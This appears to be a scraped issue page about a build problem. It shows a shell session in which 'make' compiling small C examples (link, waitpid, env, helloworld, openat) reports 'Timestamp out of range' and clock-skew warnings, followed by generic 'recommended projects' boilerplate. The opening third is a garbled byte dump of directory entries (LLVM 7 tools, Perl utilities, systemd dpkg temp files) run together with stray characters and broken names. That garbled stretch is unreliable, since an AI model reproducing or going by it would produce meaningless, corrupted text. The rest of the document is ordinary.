llvm-rtdyld-7.dp#nmodextllvm-rc-7lvm nllvm-readelf-7!nllvm-readobj-7"nopy-7vmnllvm-objdump-7llvm-opt-report-7nnllvm-pdbutil-7ewnllvm-profdata-7-n
llvm-size-7m$n
llvm-stress-7w&nllvm-strings-7.d'n
llvm-tblgen-7g-n*nllvm-undname-7il+n
llvm-xray-7,n
obj2yaml-7kg.n
sanstats-7an/n verify-uselistorder-7rc-0n
yaml2obj-7mn
usb-devicesneww2n
lshwnn
usbhid-dump.ousbresetwld-5nupdate-mime-database{n
xdg-user-dirkg-newewsvimtutorn
vimmlnlsusbg-nyn        vim.basicstr|nxdg-user-dirs-update*genc2xspkg-newnewnvimdiffen
rvimn
ccn
c89-n
c99n
c++mgi686-linux-gnu-g++.d#g perl5.28-i386-linux-gnu.)g
cpan_
g++ggi586-linux-gnu-g++g
makeg$make-first-existing-target.d"g$cpan5.28-i386-linux-gnunewwm
bugpoint-7m llvm-PerfectShuffle-7+encguess,g
h2ph-g
h2xs.g  instmodsh/gjson_ppe0g   libnetcfgdpk1gperlbug2gperldoca3gperlivps1g
perlthanksmpnew4gpiconvp.5gpl2pm6pod2html7gpod2manl8pod2text9g  pod2usagenew:g
podcheckerkg;g  podselecthan<gproveg=g
ptar>ptardiff?ptargrep@gshasummlAgsplainBgxsubppkgCg@
corelistdpkg-tmpo kernel-install.dpkg-newg<kernel-install.dpkg-tmpolocalectl.dpkg-newg8localectl.dpkg-tmporesolvectl.dpkg-newg<resolvectl.dpkg-tmpo systemd-analyze.dpkg-newg<systemd-analyze.dpkg-tmposystemd-cat.dpkg-newg<systemd-cat.dpkg-tmpo [email protected] [email protected] systemd-delta.dpkg-newgDsystemd-delta.dpkg-tmpo$systemd-detect-virt.dpkg-newgDsystemd-detect-virt.dpkg-tmpo [email protected] [email protected] systemd-path.dpkg-newg<systemd-path.dpkg-tmposystemd-run.dpkg-newgDsystemd-run.dpkg-tmpo( systemd-socket-activate.dpkg-newgP systemd-socket-activate.dpkg-tmpo(systemd-stdio-bridge.dpkg-newgDsystemd-stdio-bridge.dpkg-tmpotimedatectl.dpkg-newg4timedatectl.dpkg-tmpTpsystemd.dpkg-newUp8systemd.dpkg-tmpp [email protected] systemd-umount.dpkg-newp  systemd-umount.dpkg-tmpuser@:/$ 
user@:/$ 

make: env: Timestamp out of range

user@:~$ cd examples/c/
user@:~/examples/c$ make
cc  -o link link.c
make: link: Timestamp out of range; substituting 1969-12-31 23:59:59.999999999
cc  -o waitpid waitpid.c
make: waitpid: Timestamp out of range; substituting 1969-12-31 23:59:59.999999999
cc  -o env env.c
make: env: Timestamp out of range; substituting 1969-12-31 23:59:59.999999999
make: helloworld.c: Timestamp out of range; substituting 1969-12-31 23:59:59.999999999
make: Warning: File 'helloworld.c' has modification time 1.6e+10 s in the future
cc  -o helloworld helloworld.c
make: helloworld: Timestamp out of range; substituting 1969-12-31 23:59:59.999999999
cc  -o openat openat.c
make: openat: Timestamp out of range; substituting 1969-12-31 23:59:59.999999999
make: warning:  Clock skew detected.  Your build may be incomplete.
user@:~/examples/c$ 

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    πŸ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. πŸ“ŠπŸ“ˆπŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❀️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.